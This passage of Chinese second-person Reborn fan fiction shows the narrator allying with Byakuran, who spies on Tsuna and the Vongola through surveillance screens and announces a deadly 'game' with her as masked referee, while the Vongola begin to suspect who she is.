虽然机器人小,但那是和巨型机器人对比,小机器人也有一个你那么高呢。 白兰哼笑,“当我可不会骗人,不过这个机器人只有最基础的功能。” 说起来,你的记忆里似乎也有一个人喜欢机器人,他对机械组装的兴趣很大,也时常拉着你一起玩,你们还约定过未来要一起亲眼见证他创造出的完美机器人呢。 脑海里模模糊糊勾勒出一个小金毛的形象,你依稀记得他的刘海有个卷起的弯弯,看上去可爱又帅气。 你似乎还没亲口与他说声告别,就已经离开了意大利。没想到时隔多年,你又回到了这片土地,也不知道你还会不会再遇到曾经的故人。 你有些怀念地摸了摸圆滚滚的小机器人,出于某种说不清道不明的心思,你好奇偏过脑袋看向白兰:“这些机器人也都是你自己一个人设计的吗?” 白兰不会抢夺别人的功劳,他淡然否认:“不全是。” “我之前遇到了一个对机器人异常拿手的同龄人,他的能力确实不错。” 白兰一看就知道他是密鲁菲奥雷的人。 “所以我给出了他无法拒绝的诱惑,他来到了密鲁菲奥雷。” 你:“密鲁菲奥雷?是基地的名称吗?” 白兰:“不,这是我家族的名字。” 白兰轻描淡写抛下一个炸弹,他忽而笑眯眯地朝你弯了弯唇角,“密鲁菲奥雷是一个黑手党家族。” 摸着小机器人的手顿住,你面色冷淡地抬眼看向白兰。后者没有在你脸上看到想要的表情,白兰不满地拉长音,像是在撒娇,“诶~春也酱的反应好冷淡啊~~” 你漫不经心:“你是黑手党?” 虽然白兰身上偶尔会流露出恐怖的气息,但他带给你的感觉就像是你认识的几个人,白兰身上没有纯粹黑手党的气息。 白兰摊手:“好吧,我确实不是什么黑手党。” “一开始我只是在大学里组建了杰索家族,后来杰索家族和基里奥内罗家族合并变成密鲁菲奥雷,而我成为了密鲁菲奥雷的boss。” 这也是绝大多数平行世界自己的经历,偶尔他们也会不遵守固定的游戏规则,恶趣味地选择别的路线。只是白兰本人对这个世界并不是很感兴趣,所以他选择按照既定路线加速。 “基里奥内罗家族是黑手党家族。” 你冷哼一声,“黑手党攻打黑手党吗?” 白兰点开小机器人的开关,侧边缓缓开出一个小舱门,听到你的话,他漫不经心道:“春也酱要是不喜欢,我们完全可以换个名号,不用拘泥于黑手党的身份。” 白兰喜欢未雨绸缪,他早就料到了你的想法。 “正好这两年我也没有把密鲁菲奥雷自称是黑手党家族,不过在里世界眼里,他们估计浅薄地把我的身份简单定在了里世界的新起之秀了呢。” 白兰完全没有掩饰他语气里的傲慢,你愣了两秒,不是为他的傲慢淡漠,而是因为他干脆利落的态度。 你语气古怪:“你不做黑手党?” 白兰挑眉:“春也酱大概是对我有误解?我的身份定位可从来不是什么黑手党。” “更何况,我可不是什么专制的可怕人物。既然知道春也酱不喜欢黑手党,我当然不会继续这么做下去。” 白兰就是有本事把每一句普普通通的话语说得像是传教一样充满蛊惑力,你查看着小机器人的内部结构,余光发现白兰一直在看你,手撑上小机器人,你转过身似笑非笑地看着他。 “就这么跟我说明你的身份,你也不怕我半路反水?” 白兰:“诚实可是我们合作的第一步,我以为,我的诚意已经够了。” “至于反水……我相信我自己。当然,我也相信春也酱。” 确实,从一个合作伙伴的角度来看,没有谁能做的比白兰更好了。你扬了扬下巴,“你说的没错,我是讨厌黑手党。我不想以黑手党的名义行事。” 白兰:“当然没问题。” 白兰说到做到,他先是当着你的面肃清了底下人,任何有黑手党历史并且在做黑手党过程中干过丧心病狂事情的、不会悔改的员工全部遣返,不过这一部分人只占了少部分,剩下的绝大多数都是白兰不知道从哪个犄角旮旯里找出的有特殊奇才的手下。 然后他还特意召开会议强调了下有关黑手党的问题。 “那春也酱觉得我们应该以什么名号行事呢?毕竟是里世界,如果不想个合适的名称,一定还会有蠢货误以为我们的春也酱是黑手党呢。” 白兰描绘得绘声绘色,你的眼前很快就浮现了一群看不清脸的黑西装们纷纷称呼你为黑手党的场景,你嫌恶地拧眉,但是一时之间你也想不出更好让你们行事的称谓。 等等——好像还真有一个。 你:“复仇者。” 你想到了过去来到并盛,自称是「复仇者」想要把骸骸、犬、千种带走的那三个缠满白色绷带的怪人。 你一锤定音:“就叫复仇者,反正这群家伙不是用来审判黑手党的吗?” 手下败将而已,是时候让他们再榨干点仅剩的利用价值了。 白兰完全没料到你会用这个名号,眼底划过一丝笑意,白兰很确定你并知道「复仇者」们真正是做什么的,不过他也不在意,白兰看热闹不嫌事大。 白兰意味深长:“那群家伙的实力可是连我都有点摸不清底线呢。” 你淡淡瞥了他一眼:“怕什么。” 瞳孔开始疯狂震颤,白兰极力抑制着心底控制不住想要发笑的声音,但喉间还是无法自抑地泄出一丝颤抖。 “哼哈哈哈哈哈,我开始喜欢上你了,春也酱。” 指腹擦过眼角溢出来的泪水,白兰浑身上下都散发着愉悦的气场,“那到时候,如果「复仇者」们找上门,我可要靠你来保护了呢,春~也~酱~” 从现在起,密鲁菲奥雷就是新生的「复仇者」联盟家族了。 这是所有平行世界都从未有过的事情,白兰的好奇心前所未有地被你吊起,他已经迫不及待想看看你能走到哪一步了。 至于毁灭世界这种小事情,暂时可以先放放。白兰平生第一次发现了世界的有趣。 和手下交代完,白兰带着你来到了一间屋子。系统自动扫描白兰,伴随着“滴”的一声,大门丝滑侧移。 你和白兰一同走了进去,检测到人类,系统自动打开灯光,你得以看清了无数四四方方的大屏幕布满了整个房屋。 视线随意一扫,你就在里面看到了好几个熟悉的人影。 你隐隐猜到了什么,但还是控制不住地感到震撼,“这是什么?!” 白兰稀疏平常地走上前点了几下光标,“是监控整个意大利的装置。要知道,掌握敌人的行踪可是很必要的。” 他坐上人体工学椅,手扶着椅把手,脚轻轻擦过地面,椅子顺势转了一圈,白兰恰好面向你。 “意大利可是被誉为黑手党摇篮的故乡啊。” 双腿优雅交叠,白兰朝你伸出手,“来和我一起摧毁黑手党吧,春也。” 让我看看,你能做到哪一步。 你的目光从屏幕上移到白兰身上。他慵懒地坐在那儿,眼尾的倒皇冠紫色印记张扬地彰显着它的存在,白兰嘴角带笑,像悲悯的神子,白兰一眨不眨注视着你。 像伺机而动的蝮蛇,巨大的毒性和危险性隐藏在他完美伪装的外表下,但窥见他蛊惑的眼睛,依旧会有人为他飞蛾扑火。 你抓住了白兰的手。 白兰愉悦极了:“那么接下来,春也酱可以安心呆在基地里。放心,这里绝对安全,没有人能毁坏我们的地盘。” “要先来看看他们在做什么吗?” 指尖点击了两下键盘,无数屏幕瞬间缩小,白兰又敲击了两下,其中一个屏幕放大展现在了你们面前。 你站在白兰旁边,屏幕清晰淂像是贴近沢田纲吉脸拍的,你完全不知道白兰是怎么做到的。这种程度的技术,已经不能用天才来形容了。 看屏幕,你推测沢田纲吉应该是在某个基地。两年后的沢田纲吉成长了很多,柔和的脸部线条不知何时变得锋利,你已经很久没见过他了。尽管沢田纲吉这些年的所作所为让你的心里缓慢升起了点点期待,但你始终做不到真正接纳黑手党身份的他们。 ……如果,一开始你遇到的是他们就好了。 软弱的想法短暂出现了一秒又很快消失,你一眨不眨盯着绷紧嘴角的沢田纲吉,他大概是真的感到很棘手,骤然出现的白兰让彭格列遭遇了不少损失和伤害,这件事你也听骸说过,那些天你几乎天天看不到他和库洛姆的身影。 很快,狱寺隼人出现了。两年的时光,狱寺隼人不知不觉从当初性格暴躁的不良少年慢慢变为了成熟稳重、不再喜形于色的成年人,他手里拿着一沓资料,似乎是在汇报着什么,然后,山本武也出现了。 这些人里只有山本武的变化是最小的,他的笑容依旧爽朗,像是晴天落下的太阳雨,清爽、明媚,又令人感到温暖和安心。也不知道他和狱寺隼人说了什么,后者立马像以前一样炸毛,沢田纲吉在一旁无奈笑着劝架。 恍惚间,大家又回到了无忧无虑的从前。 你静静看了好一会儿,你看到沢田纲吉神色坚定地燃起火焰,你看到京子的哥哥握拳呐喊,你看到狱寺隼人神色倦态地揉了揉眉心,你看到山本武在无人看到的角落暗了下眼睛又很快恢复正常,你看到京子和小春陪在碧洋琪身边交心,浅淡的愁绪笼罩在她们单纯的眉眼间…… 隔着屏幕,你看到了所有人的百态。 “呀,忘记开声音了。”忽然,白兰的声音从旁边传来,他随手一点,原本安静的室内瞬间响起低沉干净的声音。 “白!兰!” 带着股咬牙切齿,沢田纲吉眉眼染上一层阴霾,他重重锤了下桌子。画面凝滞三秒后,沢田纲吉冷静到极点的视线猛然盯住上空的角落。 “我·绝·对·不·会·输·给·你!” “看来又被发现了。”白兰语气轻佻散漫。 “轰——” 一声重击,画面中止。 心脏控制不住地剧烈跳动,你无法忘记沢田纲吉刚刚的眼神。 像快要被逼到死路的雄狮,原本柔和的眉眼间完全是被触及到底线的剧烈怒火,但即便如此,他也没被情绪冲昏头脑,沢田纲吉依旧保持着近乎极端的冷静和理智。 你恍然大悟,原来沢田纲吉早就成为了一个合格的黑手党教父了啊。 彭格列最年轻的狮子、里世界的黑手党教父、不可与之为敌的存在。 你知道里世界黑手党们对他的评价。换做以前,你从未想过连只吉娃娃都害怕的沢田纲吉在未来会成为让人无法匹敌的强大存在。 熬过最初艰难的两年后,彭格列在沢田纲吉的带领下渐渐走向正轨,也强大到了耀眼的地步。 你带过沢田纲吉很长一段时光,长到树叶第六次飘绿又凋零,长到落雨蓄满了河流又在炎热的夏日水位线下降到危险边缘,长到他在你家门前堆了六次雪人又全部融化了个干净。 ……长到你得知沢田纲吉是黑手党的那一天,竟然已经是八年前的事情了。 站在过去他曾是你朋友的立场,你由衷为这样耀眼强大的沢田纲吉而欣慰。 但偏偏,人并非只有感性。 幼小的你在深渊里歇斯底里地嘶吼着绝对不能原谅黑手党,过去像伦敦常年不停歇的雨季,潮湿绵延的雨水滴滴答答跟随着你走过人间四季。你以为你长大了,但雨季从未结束。 所以到最后,你也只是冷漠地站在屏幕前。 “那么,春也酱想要从哪里开始呢?”白兰轻飘飘地出声,宛若堆到高处的积木被轻飘飘抽出一根,然后,所有的建筑轰然倒塌。 你怔愣地看着摆在你面前的抽签,手指落在抽签筒上缓慢收紧,你突然悲哀地发现,即使杀人的刀真正递到了你手边,你也无法真正去伤害那些无辜的存在。不上不下的道德感撕扯着你的理智,你总是在感性与理性的深渊里沉沦。 但你不想变成和他们一样的人。 你不想变成和过去那群黑手党一样的存在。 所以,你只是垂下眼睛缓缓开口,“过去的那些,艾斯托拉涅欧家族的人完全死光了吗?” 过去你从未提及这些事情,但现在,你忽然觉得不该再回避它们了,你该试着自己真正走出来。 虽然你不觉得有人能从那场大爆炸里活下来。 “或者,他们还有什么后代活着吗?” “虽然我很想亲自带着春也酱去报仇,但是很遗憾,确实没有人活着。” 就算有,六道骸那家伙也都杀光了。回忆着自己到手的那些情报,白兰自己都忍不住吸了口气。不愧是从地狱轮回里跑出来的人,手段狠辣残忍到连他都不敢直视呢,尤其是曾经伤害到你的那几个侥幸存活下来的研究员。 不过白兰可不会好心地告诉你这些事,他可不是什么好心的助攻人设啊。 你低语:“我想也是,褪去拿层白大褂,就算他们披上了人皮,也不过是血肉之躯。” 你从不觉得他们配称人。 收敛情绪,你重新看向白兰拿出来的抽签筒,“这是什么?” 白兰随意晃了晃抽签筒,“决定下一位、或者下个黑手党家族灭亡的抽签。” “春也酱在害怕什么呢?”白兰起身,他抬手抓住了你想要的抽离的手,恶魔般的低语缓缓回荡在你耳边,白兰慢条斯理地说道:“就当是一场游戏。” 你喃喃重复:“游戏?” 白兰:“嗯哼~” 白兰:“这个世界就是一场盛大的游戏乐园,只有获得入场券的玩家才有资格宣布游戏开始。” 白兰:“而现在,你得到了这张入场券。” “哗啦——” 是抽签筒在你手下晃动的声音,白兰握着你的缓缓晃动,他语气蛊惑,“现在,该宣布你的游戏规则了。” 白兰像个合格的引导者,他的手掌覆着你的手背,牵动着你的手臂,你们共同捏住了那根决定命运的签。 “——沢田纲吉。” 白兰:“哇哦,这可真是一个大惊喜啊。” 白兰:“那么之后,我们就和彭格列玩一场有趣的游戏吧。” 你隐隐觉得有哪里不对,“为什么不会罪孽深重的黑手党在里面?” 沢田纲吉……说实话,他在你这边还排不上罪孽深重的号。 苍白的指尖轻轻点了点下巴,白兰笑眯眯地重复你的话,“嗯?为什么呢?签子里可是什么黑手党都有呢,这还是我专门为春也酱量身定制的游戏啊。” “而且,春也酱的目标不是覆灭所有的黑手党吗?” “沢田纲吉也在肮脏的黑手党一列呢。” 幽深的紫色眼睛盯着你,白兰漫不经心道:“这可是春也自己做出的选择啊,不是吗?” 你再次陷入沉默。 覆灭所有黑手党严格来说应该是六道骸的梦想,你只是支持他。 你最初的梦想很简单,覆灭艾斯托拉涅欧家族后,你只想一个人安安静静呆在某个小地方,然后养只你曾经一直想养但又没有养的猫,或许也可以加一只狗,然后再也不会与人合租,最后一个人随意地活过剩下的岁月。 也可能你会直接放弃…… 只是六道骸拉住了你,他给了你一个家,也给了你可贵的家人。你愿意支持他的梦想,也一直把他的梦想当成了你未来的梦想。 …… 但是!你可从来没把你的想法和别人说过!! 怀疑的目光投向白兰,你眯起眼睛,终于意识到了一直以来隐隐的不对。 ——白兰这家伙是不是过于了解你了?! 你抽出白兰手里那根刻了沢田纲吉名字的签,用它拍了下还想贴上来的白兰,你用木签子抵住白兰的胸口,然后缓缓上移,签子最终停在了白兰的喉结处,后者生理性滚动了下喉结。 白兰轻笑着举起双手示弱,嗓音甜腻到让你发齁,“春也酱这是做什么?如果不给出个理由的话,我可是会生气的啊。” 剔透的瞳色泛着凉薄的光,白兰看似认真专注地望着你,实则眼底深处藏着置身事外的非人感。 你半点不在意白兰的态度,你冷笑道:“我说,你对我是不是过于了解了?” “我很确定,过去我从未见过听过你,直到两年前你突然找上并黑进我的信息,并且让我加上了你的好友,但是在此期间,我也从来没有和你透露过我的半点私人信息。” “那么问题来了,我很好奇,白兰是从哪里知道的我的信息呢?” “艾斯托拉涅欧家族早就埋没在了那场爆炸中,除非刻意去查找资料,不然很少会有人知道我的存在。” 毕竟你是突然掉入这个世界的,没有谁能拥有你的个人信息。可白兰的表现完全不是这样。 “哼哈哈哈,原来春也酱是好奇这个吗?”白兰眯起眼睛,“我当然能够告诉你,但是,这才第一天,春也酱的好奇心是不是过于强烈了呢?” 看出你眼里的不满和威胁,白兰笑了,他意味不明地竖指撇开你手上毫无威慑力的签子,“不过,如果春也酱实在想知道的话,等春也酱完成了和彭格列的游戏,我会一五一十乖乖把所有的故事都告诉你呢~” 没等你再说什么,白兰竖起一根手指虚虚贴上了你的嘴巴。 “嘘~” “就算是春也,也得遵守我的游戏规则。” “咚、咚、咚。” 敲门声惊醒了你们,斯帕纳顶着一头凌乱的金毛出现在了你们眼前,见你两个同时扭头看他,斯帕纳耷拉着眼睛,嘴里咬着棒棒糖,他懒洋洋抬起眼睛,“之前的机器人和仪器已经全部……” 目光落到你脸上,斯帕纳卡顿了一秒,在白兰察觉到之前,他面色如常地移开视线,“……全部改良过了,里面的炎压也提高了不少balabala……” 白兰意味不明地瞥了斯帕纳一眼,他漫不经心夸赞道:“做得很好~你先下去吧,我等会过来看。” 得到回答,斯帕纳神色不变地关上门离开,在此过程中,他的视线始终没有在你身上停留半秒。 你一眼就认出了斯帕纳,和小时候相比,斯帕纳简直就是一比一等比例放大生长的。 命运还真是奇妙,你本以为在这么大的陌生世界里,你们不会再有见面的机会。没想到意外来得这么猝不及防,你居然在白兰这里见到了他。 “斯帕纳,他就是我刚刚跟你提到的对机器人这类机械设备很擅长的技术人员。”白兰挑眉,“不过看样子,似乎是不需要我介绍了。” 你:“怎么?” 白兰:“我以为你们认识。” 你没有再理会白兰,手心还攥着那支签,你问道:“你打算玩什么游戏?” “诶~春也酱是想求外援吗?这可是独属于春也酱一个人的游戏乐园啊。游戏规则和玩法模式当然全都是由春也酱一个人完成。” “注意手段不要太温和。” “不过……” 白兰在一瞬间收敛了所有情绪,站在门口,他居高临下地看向你,苍白.精致的脸上什么表情都没有,白兰直勾勾盯着你,“毕竟这是春也酱的第一次游戏,就算有所失误,我也会原谅你的呢。” “但是,惩罚可逃不掉~” 说完,白兰离开了这里,他大大方方把这块地方留给你,你站在无数屏幕中间,目光落在实时监控的屏幕上,你没有立刻离开,转而坐了下来。 低头看向桌面的投屏键盘,你盯着上面的指示词,犹豫了一秒,你选择了点击、放大、查看。 手机屏幕在口袋里明明灭灭,你看了半天,总算弄明白了沢田纲吉他们的屏幕,不过你有些疑惑你没能从里面找到里包恩和六道骸他们的动态监控。 嘴角绷紧,你看向彭格列某处基地突然爆炸,沢田纲吉在知道后立马赶了过去。几个屏幕不同捕捉着沢田纲吉的动态,你看到他绷紧嘴角,眼底燃烧着明亮温暖的火焰,沢田纲吉安抚遣散受惊的人群后,他站在原地严阵以待之后的攻击。 放大的屏幕里,沢田纲吉一个人面无表情地站在那,头顶燃烧着的火焰代表着彭格列的意志,忽然,沢田纲吉闭上眼睛,金属质地的手套冷冰冰捏住敌人从背后打过来的拳,手指收紧,“咔哒”一声,敌人腕骨直接骨折,沢田纲吉反身一百八十度飞踢,敌人瞬间飞出了几十米。 “还有谁,都出来吧。”低沉冷静的声音缓缓响起,你看到沢田纲吉睁开眼睛,他眉头紧皱,如神祇般悲悯的神情直直穿过镜头映入你眼底,你看到沢田纲吉缓缓勾起唇角,“找到你了。” 你下意识缩小了屏幕,有那么一瞬间,你险些以为沢田纲吉越过监控器直直看到了坐在屏幕前的你。 双手撑在桌面,你捂住脸,你完全不知道之后的游戏该怎么玩,你也不了解沢田纲吉的攻击模式。你当然明白白兰的意思,你也知道刚刚的炸弹和暗杀绝对是白兰设计的,他在向你掩饰一个正确的游戏该怎么做。 那你呢,你要怎么做?你想要杀了沢田纲吉吗?你忍不住在心里问自己,你想要看到血流成河吗?你想要看到过去你好不容易养得白白胖胖的阿纲奄奄一息地躺在你怀里吗? …… 手机屏幕还在闪,你拿出手机时看到的就是不断跳出来的消息。 ——是犬和千种、骸发的消息,还有库洛姆。 【库洛姆:你去了哪里?犬和千种、骸大人都很担心你。】 【犬:春也春也春也——在就吱个声!你人呢?这么晚了怎么还不回来,你现在在哪里,我和千种去接你!!】 【千种:春也怎么还没回家?犬都快哭了,报个地址,我去接你。】 【骸:定位——】 这是最新消息,你一一回复了他们。没有透露自己的地点,你只跟他们说了自己会出去玩几天,不回来住。 默默看了他们的头像好一会儿,你熄灭手机收回口袋。 看了刚刚的爆炸后,你不觉得你会和白兰是一路人,虽然不知道他为什么会对你产生古怪的兴趣,但你认为自己完全可以先趁此机会搞清白兰真正想要什么。 覆灭所有的黑手党?不,你不觉得白兰的真正目的是这个,与其说他对黑手党没有好感,还不如说他对全人类都是无感的态度。 现在你已经到了白兰的大本营,你也不觉得他会轻易把你放出去,正好,你也可以有充足的时间搞清楚。 而这里还有斯帕纳,他可能会知道些什么。 ……现在最重要的是沢田纲吉之后的游戏。 但是直到白兰的游戏时间到了之后,你也没能想出一个适当的游戏模式。 “不用担心~只要春也酱到场,就已经是一个绝佳的游戏惊喜了呢。” 白兰似乎完全不在意你游戏的完成度怎么样,他快活地盘踞在沙发,怀里捧着有他头那么大的牛奶蛋糕糊冰淇淋,上面点缀了各种各样的糖果碎片和饼干碎片,白兰挖了一大勺送进嘴里,冰淇淋融化在口腔的一瞬间,白兰满足地眯起眼睛,连眼尾的倒皇冠状的紫色印记都舒展了不少。 也只有在这个时候,白兰才会表现得像一个正常的十六岁青少年,精致的脸上满是纯粹的愉悦。 吃着甜品,白兰心情都比往常好很多,他漫不经心说道:“就算春也没有计划,也还有我呢,不用担心~~” “你打算玩到什么程度?” “唔…什么程度?”白兰笑了,“这当然是看我心情啊,如果太无聊的话……” 脸上温和的表情冷不丁消失,白兰咬下一大口冰淇淋,冰凉甜腻的口感舒缓了些大脑的疼痛感,白兰随口说道:“你会继续玩一个已经开始变得无聊的游戏吗?” “当然是——没有一个玩家能忍受游戏变得无聊啊。” 白兰理所当然,又透着高高在上的非人感,“如果不能让我满意,那就直接按下游戏关闭键。” “玩家也是会退游的啊~” 古怪的、和普通人格格不入的傲慢感,你总会产生白兰在用上帝视角观察人类无聊行为的想法。 但显然,这几天的相处还不足以让白兰告诉你最想知道的秘密。 吃完甜品,白兰开始了他的游戏。这也是你时隔两年,第一次真真正正见到彭格列最年轻的雄狮。 第128章 自从彭格列知道白兰就是幕后黑手后, 白兰的行为愈发不加遮掩。无理由的攻击、无理由的毁灭,两年来,彭格列几乎都要习惯了白兰时不时的搞事。 “滋——” 彭格列基地的屏幕突然黑屏, 抹了把额头冒出的冷汗, 贾尼二率先拉响警报。这个情报, 不出意外的话, 又是白兰。 贾尼二表情严肃地不断敲击着键盘,很快, 沢田纲吉一行人赶了过来。 “叭——” 古怪的声音吸引了所有人的注意, 沢田纲吉抬头看向屏幕,缓慢增多的白色小团子逐渐占据了整个屏幕, 一旁的狱寺隼人皱眉,“又是白兰那家伙……” “叭叭叭叭——” “扒裤兰——!” 一只迷你可爱的Q版白兰欢快跃于屏幕正中心,而后,“哗啦”一声,伴着玻璃碎响, 白兰本人出现了。 沢田纲吉站在前面,已经成长起来的黑手党教父神色冷静地看着突然造访的白兰, 忽然, 沢田纲吉视线顿住,他发现白兰身边忽然多了个人。 镜头没有照到全身,沢田纲吉只看到一幅纯白的面具。他本该立刻收回目光,但不由自主的,沢田纲吉始终无法把自己的视线从你身上移开。 莫名的熟悉感让他忍不住又上前了一步,沢田纲吉神色不明地盯着屏幕。 ……但是不可能,白兰怎么可能会知道春也的存在?你又没有加入加入彭格列。更何况,因为这两年彭格列总是会遇到各种各样的袭击, 沢田纲吉害怕波及你,所以他很少正面出现在你眼前。 而且,虽然很不想承认,但六道骸确实把你的信息保护得很好。 忽视超直感的预警,沢田纲吉下意识忽略某种直白的猜想,沉默了好一会儿,他缓缓把目光从你身上移开,沢田纲吉转而看向坐在你旁边的白兰,冷淡道:“你来做什么,白兰。” 和彭格列戒备的状态比起来,白兰看上去就轻松多了,他甚至还有闲心情挖着酸奶牛乳冰淇淋吃。 白兰眯眼笑:“好久不见,彭格列~” “最近突然发现过去粗暴的攻击有点太无趣了呢,这一次,我们来换个新游戏。” 你就坐在白兰旁边,怀里还抱着满满一大袋的棉花糖。脸上的白色面具很好地遮掩住你的脸,乌黑的发丝扎起丸子头,戴着帽子,你掩盖住了自己所有明显的特征。 一开始,白兰提出游戏的时候你还以为他是想和沢田纲吉面对面交流,没想到竟然是隔着屏幕,不过,想到满屋子里的监控视频,你大概明白了点。 白色面具是白兰亲手设计和制作的,据他所说,这个面具是他很早之前的灵感,直到今天才把它做出来,然后,白兰亲手把他的创作欲望戴在了你身上。 隔着面具,你不动声色观察着沢田纲吉他们。视线略过狱寺隼人、山本武、里包恩和笹川了平,你没有再看到其他人的身影。 云雀恭弥是不喜欢群聚,库洛姆这些天忙着处理黑手党的事情,行踪不定,蓝波还是一个小孩子做不了什么……彭格列守护者的情报不算难查,甚至,你对其中的几个人还异常了解,包括他们的首领。 你有些漫不经心听着白兰和沢田纲吉的对话。最开始白兰就把他的计划告诉了你,分不清他是信任你还是在试探你,出于谨慎,你没有把这个消息告诉任何人。 余光里忽然出现一道黑影,你偏过头,白兰不知道什么时候吃完了冰淇淋,他往你的位置倾了倾身体,左手自然搭在沙发上,白兰毫不见外地把下巴搁在你右肩,右手往你怀里捏起一颗棉花糖,蓬松柔软的棉花糖在他指间安静待着,灯光毫不吝啬地洒在他身上,一时之间竟分不清到底是棉花糖白还是白兰更白些。 白兰轻轻捏了捏棉花糖,后者软绵绵在他指间弹了弹,微眯起眼睛,白兰一口咬住了它。 白兰对你毫不掩饰的动作让屏幕前的沢田纲吉下意识皱起眉头,忍了忍,沢田纲吉不动声色问话:“那也是我们游戏的一员?” “她可是我好不容易找到的珍宝呢。” 白兰答非所问,他慢条斯理捏起一快棉花糖送到你嘴边,左手捏住你的下颌轻轻用力,白兰完全没有给你选择的余地,食指轻轻推动,棉花糖轻松送入了你嘴里。温凉的指腹不经意触碰到你柔软的舌头,察觉到你微弱的抗拒,白兰慢悠悠用了些力道。 你伸手用力攥住白兰毫无距离感的手,指甲用力得几乎都要陷入他的骨肉,白兰这才像是察觉到疼痛一般缓缓抽出手。 你感知到他缓慢的动作,磨了磨牙,你恶狠狠咬了上去,白兰轻嘶了声,反过来谴责你的狠心。 你:…… 沢田纲吉就在屏幕外边静静看白兰对你毫无距离感的动作,不知为何,他前所未有地产生了一股想要狠狠暴打白兰的冲动。 狱寺隼人拧眉看着白兰这幅散漫的模样,压下了内心的暴躁,狱寺隼人冷静观察你。看样子,白兰对你似乎异常信任,可以考虑把你作为冲破口。不断在脑海推演,狱寺隼人眉头越皱越深。 ……有点怪异,他怎么会觉得你有点熟悉,难道这又是敌人的计谋?! 山本武自屏幕打开后就没有再说话,琥珀色的眼睛紧紧盯着你,像陷入捕猎状态的大型野兽,山本武的视线牢牢锁住你。刺目亮眼的灯光直直照在他脸上,长长的睫羽在眼睑落下一片阴影,没有人知道山本武内心真实的想法…… 最后,还是里包恩跳出来开口:“她是参与游戏的一员?” 里包恩稚嫩的童音响起,白兰这才把目光重新投向彭格列,他漫不经心笑了下,“当然不是,她可是最重要的裁判呢。” “好了,宣读时间到此结束,我会给你们时间好·好·准·备·。”白兰收敛了全部笑意,紫罗兰色的眼睛没有丝毫感情,不经意的残忍隔着屏幕直白地传达到了彭格列的每一个人身上,“稍微提醒一下,这一次的游戏,会和以往任何一次都不一样呢。” “不过,游戏人数有限制,彭格列只能过来一个人。” 无视屏幕里的其他杂声,白兰弯了弯眼睛,眼底却无丝毫笑意,“哼哼,努力活下去吧,沢田纲吉。” 狱寺·其他杂音·隼人:该死的白兰!!他就知道这家伙不安好心!!! 屏幕熄灭后又响起奇怪的声音,下一秒,贾尼二脸色大变地扑上冒烟屏幕哀嚎:“我的电脑啊!!里面还有好多资料——” 在众人都把目光投向他后,贾尼二又缓了口气,“还好我都备份了。” 沢田纲吉叹了口气,“备份就好。” 狱寺隼人急急开口:“十代目,我可以去参加那个游戏!” 沢田纲吉熟悉安抚,“狱寺先不要着急,距离游戏真正开始还有一段时间。” 狱寺隼人无法不急切,“但是——” 沢田纲吉语气缓缓加重:“狱寺。” 狱寺隼人被迫止了声音。山本武神色不明地看着这一幕,谁都知道这一次白兰的不安好心。 迟疑了下,沢田纲吉看向自己的家庭教师,“里包恩,那个裁判…或许我们可以……” “今春也。” “什么?” 里包恩压了压帽檐,忍耐着身体的不适,他冷静开口,“是今春也。” “她加入了白兰。” 一瞬间,所有人都安静了,包括不知道什么时候站在了门口的库洛姆。 第129章 “不可能!” 沢田纲吉第一个出声打破窒息沉重的气氛, “如果是春也,难道我会认不出来吗?” 不知道是在说服里包恩,还是在说服自己, 沢田纲吉极力克制住语气的激烈。 “而且, 春也根本就没理由和白兰在一起!” 就是那个人真的是你, 也一定是狡诈的白兰威胁蛊惑了你。沢田纲吉非常清楚白兰的手段残忍。 里包恩深深看了沢田纲吉一眼, 他没有就这件事情和沢田纲吉起争执,余光注意着狱寺隼人和山本武的反应, 里包恩压了压帽檐, 他轻描淡写略过这个话题。 不过……里包恩抬起头望向神色不明的沢田纲吉,漆黑的大眼睛一眨不眨盯着他, 里包恩意味不明道:“不要让你的理智染上冲动,蠢纲。” 沢田纲吉垂下眼睛,情绪在他控制下逐渐趋于稳定,沢田纲吉听到自己平静到极点的声音缓缓响起,“我知道。” “我知道的。” “…不用担心我, 里包恩。” 库洛姆听着里面吵闹的动静,手指不自觉攥紧, 像抓不到行踪的雾一样, 她悄无声息地离开了这里,没有惊动任何一个人。 沢田纲吉内心的纠葛痛苦你无法知道,关掉屏幕后,白兰刚刚正经的模样完全消失,他像没骨头般直接躺在你身上。长腿舒展开随意翘在沙发另一头的扶手上,脑袋枕着你软绵绵的大腿,白兰满足地喟叹一声。 愉悦地眯起眼睛,白兰咬着棉花糖, 他慢悠悠等待棉花糖在嘴里化开,不经意撩起眼皮看到你脸上的面具,白兰伸手摘下了它。 “果然,春也还是这幅模样看着顺眼。”白兰一眨不眨地盯着你的脸,甜腻的尾调隐隐还散发着棉花糖的香甜。 抬起手中的面具,他随意望了几眼,白兰忽然想起自己第一次制作面具时的场景。 那个时候恰好也是他第一次得知你存在的时间,出于想给你制作一份见面礼的想法,白兰慢慢挑选了很久很久,最终他选择亲手为你打造一张面具。 ——一张裹挟了他无数私欲和创作欲望的特殊面具。 兜兜转转,白兰也没想到他居然真的会亲手为你戴上面具。 看样子,他似乎远比自己想象中的要更喜欢你呢。 白兰眯起眼睛,他不排斥这种奇妙的情感,他也不惧怕自己会被这份情感控制。恰恰相反,自从真正见到你,白兰的兴致完全被你吊住了。 玩游戏,白兰果然还是更喜欢全然未知的领域。 不经意观察你的表情,白兰语气随意:“见到老熟人的感觉怎么样?” 空气中突兀传来轻微的塑料响动,你低头,看到白兰正伸手从你手里的棉花糖袋子里抓起一大把棉花糖。 骨节分明的手指轻松夹住满溢到快要掉出来的棉花糖,大约是知道在你身上,白兰吃棉花糖的架势稍微收敛了点,起码他没有就这样试图往嘴里塞满手里全部的棉花糖。 “你希望我有什么样的感觉?”你没有正面回答白兰的话,转而把问题重新抛给他。 白兰没有立刻回答,他慢条斯理地张嘴咬住棉花糖,舌头一卷,甜软美味的棉花糖瞬间没入他口腔。 牙齿咬合,蓬松没有硬度的棉花糖轻巧在他嘴里挤压、爆浆、融化,白兰微妙感知到一股异样的满足。喉结轻微滚动,白兰彻底将无害的棉花糖吞咽进肚子。甜滋滋的葡萄糖浆残留在口腔,而后,一股难言的空虚感轻飘飘包裹住他,白兰又开始了新一波的进食。 听到你的话,白兰漫不经心撩起眼皮,望进你忽明忽暗的眼睛里,他轻笑一声,捏起棉花糖,白兰把它送到了你嘴边,“我可没有控制人思想的爱好,我只是单纯有些好奇春也想法。” 你垂下眼睛安静看他,轻咬住那颗棉花糖,你忽然伸手虚虚碰了下白兰眼尾的倒王冠式的紫色印记,“我一直在你这里。” 刻意放缓声音,你慢悠悠地开口,“我们才是同伴,白兰,不要把视线放在无关紧要的人身上。” 